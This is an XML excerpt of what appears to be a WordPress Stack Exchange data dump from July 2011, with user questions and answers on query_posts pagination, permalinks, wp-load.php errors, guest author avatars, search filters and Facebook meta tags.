  <row Id="22878" PostTypeId="1" CreationDate="2011-07-13T20:39:31.510" Score="0" ViewCount="44" Body="&lt;p&gt;What is the code in order to put some posts in different pages?&#xA;I already have one but the tittle of post is missing. And  i don't know how to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code that i have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;innerTop&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;innerTitle clearfix&quot;&amp;gt;&amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php $pagedesc = get_post_meta($post-&amp;gt;ID, 'page_description', $single = true);?&amp;gt;&#xA;        &amp;lt;?php if($pagedesc !=''){?&amp;gt;&#xA;        &amp;lt;div class=&quot;innerDesc&quot;&amp;gt;&amp;lt;?php echo $pagedesc ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php }?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- begin colLeft --&amp;gt;&#xA;    &amp;lt;div id=&quot;colLeft&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;$catID = 0;&#xA;if (is_page('apple')) {&#xA;  $catID=12;&#xA;} elseif (is_page('htc')) {&#xA;  $catID=13;&#xA;} elseif (is_page('nokia')) {&#xA;  $catID=14;&#xA;}&#xA;&#xA;if ($catID) {&#xA;   $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;   query_posts(&quot;cat=$catID&amp;amp;amp;paged=$paged&quot;);&#xA;} ?&amp;gt;&#xA;&amp;lt;?php&#xA;$title = $queried_post-&amp;gt;post_title;&#xA;echo $title;&#xA;?&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php the_content(__('(more...)')); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- end colleft --&amp;gt;&#xA;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;  &#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would love for an answer please. &lt;/p&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2011-08-13T02:23:08.813" Title="How to put posts in pages using query posts" Tags="&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="22879" PostTypeId="1" CreationDate="2011-07-13T20:41:31.067" Score="0" ViewCount="35" Body="&lt;p&gt;I noticed that I have a directory &lt;code&gt;meta/&lt;/code&gt; as a sub-directory of the wp-admin folder, but there is nothing in it. What goes in here? Should I keep it?&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-07-13T21:06:44.170" Title="What is wp-admin/meta for?" Tags="&lt;directory&gt;" AnswerCount="1" />
  <row Id="22880" PostTypeId="2" ParentId="22724" CreationDate="2011-07-13T20:56:04.427" Score="0" ViewCount="" Body="&lt;p&gt;My guess is that mod_rewrite is not enabled. Depending on what server you are using, enable mod_rewrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if you are on linux - manually edit  /etc/apache2/sites-enabled/000-default and change AllowOverride for from 'None' to 'All'  (or where your site's directory is) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Fixing_.htaccess_Generation_Issues&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; , at points 3 &amp;amp; 4 should be solutions for Windows. &lt;/p&gt;&#xA;" OwnerUserId="4747" LastActivityDate="2011-07-13T20:56:04.427" />
  <row Id="22881" PostTypeId="2" ParentId="22879" CreationDate="2011-07-13T21:06:44.170" Score="1" ViewCount="" Body="&lt;p&gt;I do not see that in the default wordpress install files - it may have been written by a plugin. You can probably remove it.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-13T21:06:44.170" />
  <row Id="22882" PostTypeId="2" ParentId="22878" CreationDate="2011-07-13T21:19:19.110" Score="0" ViewCount="" Body="&lt;p&gt;get_posts may be easier for you to use:&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $args = array( 'numberposts' =&amp;gt; 5, 'category' =&amp;gt; '3' );&#xA;        $myposts = get_posts( $args );&#xA;        foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;            &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; style=&quot;padding-bottom:5px;&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;div class=&quot;post_meta&quot;&amp;gt;&amp;lt;?php twentyten_posted_on(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;entryContent&quot;&amp;gt;&#xA;                        &amp;lt;?php the_content(); ?&amp;gt;             &#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-13T21:19:19.110" CommentCount="2" />
  <row Id="22883" PostTypeId="2" ParentId="22140" CreationDate="2011-07-13T21:28:42.907" Score="0" ViewCount="" Body="&lt;p&gt;as per &lt;a href=&quot;http://dannyvankooten.com/450/tinymce-wysiwyg-editor-in-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, add this to your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;admin_head&quot;,&quot;myplugin_load_tiny_mce&quot;);&#xA;&#xA;function myplugin_load_tiny_mce() {&#xA;&#xA;wp_tiny_mce( false ); // true gives you a stripped down version of the editor&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5698" LastActivityDate="2011-07-13T21:28:42.907" CommentCount="1" />
  <row Id="22884" PostTypeId="2" ParentId="22344" CreationDate="2011-07-13T21:36:13.127" Score="0" ViewCount="" Body="&lt;p&gt;I'd try this... delete it then reupload it.&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-13T21:36:13.127" />
  <row Id="22885" PostTypeId="1" AcceptedAnswerId="22903" CreationDate="2011-07-13T21:41:09.717" Score="0" ViewCount="48" Body="&lt;p&gt;I'm loading wp-load.php in order to access WP functions inside of a PHP file that I'm using to process form submissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works perfectly fine on localhost and every server I've tested (except one). It does not, however, work on one particular server (which is running on rackspace).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm loading it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$oldURL = dirname(__FILE__);&#xA;$newURL = str_replace(DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'plugins' . DIRECTORY_SEPARATOR . 'cgc-post-image-gallery' . DIRECTORY_SEPARATOR . 'includes', '', $oldURL);&#xA;include($newURL . DIRECTORY_SEPARATOR . 'wp-load.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is in a file called process-submission.php that is called when the form is submitted. The error is thrown after the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the server is configured such that it does not display what the actual error is, only that an error has occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The really weird thing is that I have another plugin running (that I wrote) on the exact same server and site that is loading wp-load.php in the exact same manner, except it works perfectly fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through some testing I have been able to determine that the error is thrown the moment the include() function is reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought perhaps this file loading wp-load.php and the other plugin (the one that is working) loading the file might be causing a conflict, but the other one still works perfectly fine. Also, neither of the files are ever actually loaded in WP (only accessed from the form on the front end), so there is no redeclaring of anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why including wp-load.php would throw an error in this instance, but not the other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem also occurs if I try to load wp-blog-header.php&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-14T04:54:27.503" Title="Loading wp-load.php in an external PHP file throws unknown error" Tags="&lt;wp-load.php&gt;&lt;wp-blog-header.php&gt;" AnswerCount="1" />
  <row Id="22886" PostTypeId="2" ParentId="22344" CreationDate="2011-07-13T22:31:49.173" Score="0" ViewCount="" Body="&lt;p&gt;Puzzle. Check permissions on the template files, and be sure wp-content is 755. The files should be Unicode no-BOM on a Linux box. Get rid of any whitespace above the the template file headers. And see if page templates show up in twentyten, to rule out admin.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-13T22:31:49.173" />
  <row Id="22887" PostTypeId="1" CreationDate="2011-07-13T23:05:05.540" Score="0" ViewCount="18" Body="&lt;p&gt;I'm trying to create a search results page that simultaneously displays Google custom search results and Amazon Associate product search results in a separate block. Is this something that is possible to do? and if so how can i achieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no coding expert so any guides/tutorials etc are much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Daniel&lt;/p&gt;&#xA;" OwnerUserId="5739" LastActivityDate="2011-07-13T23:05:05.540" Title="Displaying search results from multiple sources in wordpress" Tags="&lt;search&gt;" />
  <row Id="22888" PostTypeId="1" CreationDate="2011-07-13T23:06:26.197" Score="0" ViewCount="59" Body="&lt;p&gt;I'm looking for a Wordpress ecommerce plugin that can do the following when creating a pizza product before it is added to the cart. Preferably the plugin either being able to do it straight out of the box, or with not too much modification to a product page's code. Here's a Javascript example I wrote:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.vitellosexpress.com/pizza.html&quot; rel=&quot;nofollow&quot;&gt;http://www.vitellosexpress.com/pizza.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a case of simple product variations, where for example variation A costs an extra $2 and variation B $3 more, it involves rules such as toppings for a whole pizza cost $1 each, but toppings for a pizza slice are only 50c. Also the cheese pizza is the only one available in a 10&quot; size, whereas all others can also come as 12&quot;, 14&quot; and 18&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a fair bit of research, and all the ecommerce plugins I've come across cannot do it out of the box (which is understandable) and I have had one reply back from tech support at the Shopp plugin who say &quot;It's going to take a bit of work to get it just like that.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, the store will also be serving non-customizable items such as drinks, garlic bread etc.&lt;/p&gt;&#xA;" OwnerUserId="7012" LastActivityDate="2011-07-13T23:06:26.197" ClosedDate="2011-07-14T18:48:40.817" Title="Ecommerce plugin to customize pizza?" Tags="&lt;e-commerce&gt;" CommentCount="2" />
  <row Id="22889" PostTypeId="1" CreationDate="2011-07-13T23:26:58.330" Score="-1" ViewCount="32" Body="&lt;p&gt;Please note, my intention here is &lt;strong&gt;not&lt;/strong&gt; malicious.  My intention is due to contractual issues between myself and a client that I am working to enforce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do - via PHP, .htaccess, MySQL or otherwise - that will ensure (to a decent extent) that a site would be difficult to migrate to a different host?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I completely understand that someone extremely well-versed in PHP, MySQL and WordPress might be able to find a workaround, but I need an easy solution that will ensure a client cannot zip up his WordPress app via FTP, export the database, and migrate it to a new host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restricting access to the MySQL admin and the root FTP is not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all your help!&lt;/p&gt;&#xA;" OwnerUserId="7013" LastActivityDate="2011-07-14T16:28:28.067" Title="Piece of code/plugin to ensure migration won't work" Tags="&lt;migration&gt;&lt;hosting&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22890" PostTypeId="1" AcceptedAnswerId="22899" CreationDate="2011-07-13T23:34:18.713" Score="1" ViewCount="56" Body="&lt;p&gt;Right now I have pages like &quot;about&quot;, &quot;resources&quot;, etc and the urls are /about and /resources with a custom permalink structure as /%postname%.  For &quot;news&quot; section it's the posts and it's at /news and that's great. The problem is I want the new stories to be /news/the-name-of-the-story not /the-name-of-the-story.  Can that be accomplished in the wp admin area? Or is that a custom .htaccess trick? Also, news is in categories and /category/category-name lists the posts in that category and the story for those should be at /category/category-name/the-name-of-the-story. Is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2011-07-14T04:10:52.260" Title="How would I create a different permalink structure for pages and posts?" Tags="&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="22891" PostTypeId="1" CreationDate="2011-07-14T00:44:32.680" Score="0" ViewCount="25" Body="&lt;p&gt;I have successfully added a custom field for specifying a different author in custom field with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $author = get_post_meta($post-&amp;gt;ID, &quot;guest-author&quot;, true);&#xA;if ($author != &quot;&quot;) {&#xA;    echo $author;&#xA;} else {&#xA;    the_author();&#xA;}  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BUT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I specify a separate avatar for the guest author too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $author = get_post_meta($post-&amp;gt;ID, &quot;guest-author&quot;, true);&#xA;if ($author != &quot;&quot;) {&#xA;   echo get_avatar( get_the_author_meta('user_email'), $size = '38');&#xA;} else {&#xA;   echo '&amp;lt;img class=&quot;byline_avatar&quot; src=&quot;url goes here&quot; /&amp;gt;';&#xA;}  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesnt work right. Your help would be greatly appreciated!! &lt;/p&gt;&#xA;" OwnerUserId="7015" LastActivityDate="2011-07-14T00:44:32.680" Title="Input guest author and avatar with custom field" Tags="&lt;author&gt;&lt;avatar&gt;" />
  <row Id="22892" PostTypeId="2" ParentId="22683" CreationDate="2011-07-14T00:46:00.477" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;@import&lt;/code&gt; prevents &quot;parallel&quot; downloads. I'd not suggest to use it in case you want to minify css files.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-14T00:46:00.477" />
  <row Id="22893" PostTypeId="1" CreationDate="2011-07-14T01:40:15.377" Score="0" ViewCount="47" Body="&lt;p&gt;I'm trying to have my search results show only results that are a child of the 'news' category or a child of the 'work' page (ID = 16).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function SearchFilter($query) {&#xA;        if ($query-&amp;gt;is_search) {&#xA;            $query-&amp;gt;set('category_name', 'news');&#xA;            $query-&amp;gt;set('post_parent', '16');            &#xA;&#xA;        }&#xA;        return $query;&#xA;    }&#xA;&#xA;    add_filter('pre_get_posts','SearchFilter'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is it only searches for posts that belong to 'news' AND have a parent page ID of '16', which is obviously no posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do better refine search? I'd prefer not to use a plugin, that's why i am here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Drew&lt;/p&gt;&#xA;" OwnerUserId="4562" LastActivityDate="2011-08-17T08:25:53.433" Title="Search results to be only posts &amp; children of page ID" Tags="&lt;pages&gt;&lt;search&gt;&lt;exclude&gt;" AnswerCount="1" />
  <row Id="22894" PostTypeId="1" AcceptedAnswerId="22912" CreationDate="2011-07-14T01:53:11.097" Score="0" ViewCount="35" Body="&lt;p&gt;Well, i'm creating a wordpress theme, but i can't get wordpress loop to work correctly for some reason. This code works fine in index.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (have_posts()) :&#xA;   while (have_posts()) :&#xA;      the_post();&#xA;      var_dump($post);&#xA;   endwhile;&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, it does not work in my blog.php page(it's not a template, it's actually a shortcode).&#xA;The shortcode works correctly for sure. But when the above code is executed it just prints NULL. If i try to grab the_content, the page loops indefinitely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this can be happening ?&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-07-14T07:20:43.610" Title="Wordpress loop not working on blog.php page" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22895" PostTypeId="1" CreationDate="2011-07-14T03:47:46.063" Score="0" ViewCount="18" Body="&lt;p&gt;I may be going down the wrong path here so please let me know if there is a better way of accomplishing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building an ecom on the side of wordpress and want to dynamicaly parse the url when the uri begins with /category/ and /product/. For whenever there is a url match i want to load 2 seperate templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test, I copied the wp object of a valid request &quot;/sample-page/&quot; and in is_404() (the first function I came accross that deals with the templates I replaced the wp object built with the previous valid object wich will obviously load the same page no matter what is in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question being, After I have used the main wp object to analys whether or not I need to load the cat/prod template can I rebuild the wp object to include valid results for a specifict wordpress page, i.e. 'ecomcategories page' or p=12&lt;/p&gt;&#xA;" OwnerUserId="7016" LastActivityDate="2011-08-13T21:23:33.857" Title="Rebuilding the wp object to load a spercific page" Tags="&lt;wp-query&gt;&lt;object&gt;" AnswerCount="1" />
  <row Id="22896" PostTypeId="2" ParentId="22317" CreationDate="2011-07-14T03:49:25.453" Score="0" ViewCount="" Body="&lt;p&gt;I discovered the answer: The new version of Wordpress using version 1.6 of JQuery. In the file events-meta-box.php, change anywhere where it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.attr('checked') == true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.prop(&quot;checked&quot;, true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There should be three locations where you fix it.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastEditorUserId="2001" LastEditorDisplayName="" LastEditDate="2011-07-14T14:38:40.830" LastActivityDate="2011-07-14T14:38:40.830" CommentCount="3" />
  <row Id="22897" PostTypeId="2" ParentId="22895" CreationDate="2011-07-14T04:03:57.827" Score="0" ViewCount="" Body="&lt;p&gt;Jesus, exact answer in wp manual - &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Rewrite&lt;/a&gt; 3/4 down&lt;/p&gt;&#xA;" OwnerUserId="7016" LastActivityDate="2011-07-14T04:03:57.827" />
  <row Id="22898" PostTypeId="2" ParentId="22873" CreationDate="2011-07-14T04:07:39.687" Score="0" ViewCount="" Body="&lt;p&gt;Use a switchcase instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ( get_post_format() ) {&#xA;&#xA;case 'video':&#xA;  // video post code&#xA;  break;&#xA;&#xA;case 'audio':&#xA;  // audio post code&#xA;  break;&#xA;&#xA;default:&#xA;  // default post code&#xA;  break;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-14T04:07:39.687" />
  <row Id="22899" PostTypeId="2" ParentId="22890" CreationDate="2011-07-14T04:10:52.260" Score="2" ViewCount="" Body="&lt;p&gt;The custom permalink field on the settings-&gt;permalink screen &lt;em&gt;only&lt;/em&gt; applies to Posts. Not to Pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress Pages always live at the &quot;top&quot; of the URL tree. /about /whatever /etc. Posts live wherever the custom permalink string defines them to be.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-14T04:10:52.260" CommentCount="1" />
  <row Id="22900" PostTypeId="2" ParentId="22688" CreationDate="2011-07-14T04:18:47.690" Score="3" ViewCount="" Body="&lt;p&gt;Though not nearly as large, &lt;a href=&quot;http://wpplugins.com/&quot; rel=&quot;nofollow&quot;&gt;WP Plugins&lt;/a&gt; is another marketplace for plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Canyon and Theme Forest are by far the largest though.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-14T04:18:47.690" CommentCount="1" />
  <row Id="22901" PostTypeId="1" AcceptedAnswerId="23284" CreationDate="2011-07-14T04:35:58.540" Score="1" ViewCount="100" Body="&lt;p&gt;There are certain posts on the website I'm developing, that don't need the author(s) by-line. (such as press releases)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any method, that allows me to remove the author (and co-authors) for certain posts?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;My Attempt With Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I did check on the &lt;strong&gt;&quot;Post Author&quot;&lt;/strong&gt; plugin, that allows you to remove the author from certain posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &quot;Post Author&quot; only allows me to assign a single author to all posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have been using the &lt;strong&gt;&quot;Co-Authors Plus&quot;&lt;/strong&gt; plugin for assigning multiple authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't think I can combine the removal ability of the &quot;Post Author&quot; plugin, with the co-author ability of &quot;Co-Authors Plus&quot;&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="3420" LastEditorDisplayName="" LastEditDate="2011-07-18T05:25:36.733" LastActivityDate="2011-07-18T21:48:54.790" Title="How To Remove The Author(s) From Certain Posts" Tags="&lt;author&gt;&lt;conditional-tags&gt;" AnswerCount="2" />
  <row Id="22902" PostTypeId="2" ParentId="22688" CreationDate="2011-07-14T04:36:27.207" Score="1" ViewCount="" Body="&lt;p&gt;you have your own website means try with this one:&lt;a href=&quot;http://wpmu.org/sell-your-own-wordpress-themes-with-marketpress-and-gridmarket/&quot; rel=&quot;nofollow&quot;&gt;Your Own Store&lt;/a&gt;.Create your own store &amp;amp; get 100% profit.otherwise theme forest &amp;amp; Mojo themes are good.:) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while i googling i found top 20+ websites for you.&lt;a href=&quot;http://www.1stwebdesigner.com/wordpress/theme-marketplaces/&quot; rel=&quot;nofollow&quot;&gt;Great Collection of websites&lt;/a&gt;.it'll very very helpful to decrease your googling time :)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-07-15T06:23:43.477" LastActivityDate="2011-07-15T06:23:43.477" CommentCount="3" />
  <row Id="22903" PostTypeId="2" ParentId="22885" CreationDate="2011-07-14T04:54:27.503" Score="1" ViewCount="" Body="&lt;p&gt;Ok, I've fixed it. Turns out that there was a php class name that was getting redeclared. Declared once in the theme, and once in the plugin.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-14T04:54:27.503" CommentCount="2" />
  <row Id="22904" PostTypeId="1" AcceptedAnswerId="22907" CreationDate="2011-07-14T05:02:20.350" Score="0" ViewCount="225" Body="&lt;p&gt;My &lt;a href=&quot;http://www.superlogical.net/art/movie/2011/07/first-look-at-dwarves-from-the-hobbit/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; has Facebook social graph meta tags in its page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:title&quot; content=&quot;First Look at Dwarves from The Hobbit&quot;/&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;Movie&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only Facebook-related plugin I have installed &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-page-publish/&quot; rel=&quot;nofollow&quot;&gt;Facebook Page Publish&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it only picking up the category of the post?  There are no options to configure the og meta tags of this plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now figure I can use the post excerpt as the value for og:description, but whenever I use either of these functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get_the_excerpt();&lt;/li&gt;&#xA;&lt;li&gt;the_excerpt();&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the page outputs the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- AddThis Button Begin --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;var addthis_product = 'wpp-261';&#xA;var addthis_config = {&quot;data_track_clickback&quot;:true,&quot;ui_508_compliant&quot;:true};&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4df74bc61d613ae9&quot;&amp;gt;&amp;lt;/script&amp;gt;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then configured the AddThis Wordpress plugin to remove Add This from the post excerpt, but the same code is still spat out by the excerpt functions.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastEditorUserId="3206" LastEditorDisplayName="" LastEditDate="2011-07-14T13:58:35.837" LastActivityDate="2011-07-14T13:58:35.837" Title="What is generating my meta og:description?" Tags="&lt;plugins&gt;&lt;post-meta&gt;&lt;facebook&gt;&lt;excerpt&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="22907" PostTypeId="2" ParentId="22904" CreationDate="2011-07-14T05:52:54.457" Score="0" ViewCount="" Body="&lt;p&gt;The Facebook Page Publish plugin is adding the og:description.  Looking through the code in fpp_index.php at lines 843 - 851:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $description = array();&#xA;    if ($options['show_post_author']) {&#xA;            $description[] = esc_attr(fpp_get_post_author($post));/*, ENT_COMPAT, 'UTF-8')*/&#xA;    }&#xA;    if ($options['show_post_categories']) {&#xA;            $categories = esc_attr(fpp_get_post_categories($post));/*, ENT_COMPAT, 'UTF-8')*/&#xA;            if (!empty($categories)) $description[] = $categories;&#xA;    }&#xA;    echo '&amp;lt;meta property=&quot;og:description&quot; content=&quot;'.implode(' | ', $description).'&quot;/&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It appears that you have only checked the &quot;post categories&quot; option and have unchecked &quot;post author&quot; on the &lt;a href=&quot;http://example.com/wp-admin/options-general.php?page=facebook-page-publish/fpp_index.php&quot; rel=&quot;nofollow&quot;&gt;plugin admin page&lt;/a&gt;. See this &lt;a href=&quot;http://min.us/le304W&quot; rel=&quot;nofollow&quot;&gt;screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the option the plugin is using the generate the og:description.&lt;/p&gt;&#xA;" OwnerUserId="6230" LastActivityDate="2011-07-14T05:52:54.457" CommentCount="1" />
  <row Id="22908" PostTypeId="2" ParentId="22344" CreationDate="2011-07-14T06:03:01.107" Score="1" ViewCount="" Body="&lt;p&gt;You mentioned Windows line-endings.  Did you move from a Windows host to a Linux host?  Since Windows doesn't care about capitalization and Linux does, is it possible that capitalization of the filenames is messing you up now?  Like the template names are capitalized in the settings (and database) but the files are lowercased, and they're not the same file to Linux so they can't be found?&lt;/p&gt;&#xA;" OwnerUserId="6230" LastActivityDate="2011-07-14T06:03:01.107" />
  <row Id="22909" PostTypeId="2" ParentId="6977" CreationDate="2011-07-14T06:08:30.990" Score="0" ViewCount="" Body="&lt;p&gt;Store your data in your own tables.... slap a [shortcode] in a wordpresss page that calls a function which queries your custom data. No need for pointers and all that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the backend build an admin interface to import from external sources and manage the data. &lt;/p&gt;&#xA;" OwnerUserId="7020" LastActivityDate="2011-07-14T06:08:30.990" />
